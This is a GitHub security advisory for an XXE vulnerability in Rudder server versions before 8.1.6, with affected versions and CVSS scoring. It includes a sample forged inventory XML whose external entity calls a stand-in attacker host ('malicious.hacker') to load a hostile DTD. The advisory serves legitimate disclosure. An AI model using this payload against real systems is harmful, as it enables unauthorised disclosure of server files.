Skip to content

XXE through inventory file facilitates file disclosure

High
amousset published GHSA-vpx4-mqgm-5vp3 Oct 2, 2024

Package

rudder-server (rudder)

Affected versions

< 8.1.6

Patched versions

8.1.6
rudder-webapp (rudder)
*
None

Description

Impact

A forged inventory can lead to requesting a malicious external entity when parsing inventory:

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://malicious.hacker/xxe.dtd"> %xxe;]>
<REQUEST>
  <CONTENT>
    <ACCESSLOG>
      <LOGDATE>2024-07-10 13:46:35</LOGDATE>
    </ACCESSLOG>
    [...]
  </CONTENT>
  <DEVICEID>agent-linux-2024-07-02-16-10-52</DEVICEID>
  <QUERY>INVENTORY</QUERY>
</REQUEST>

Patches

Workarounds

None.

References

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Adjacent
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
None
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:L

CVE ID

No known CVE

Weaknesses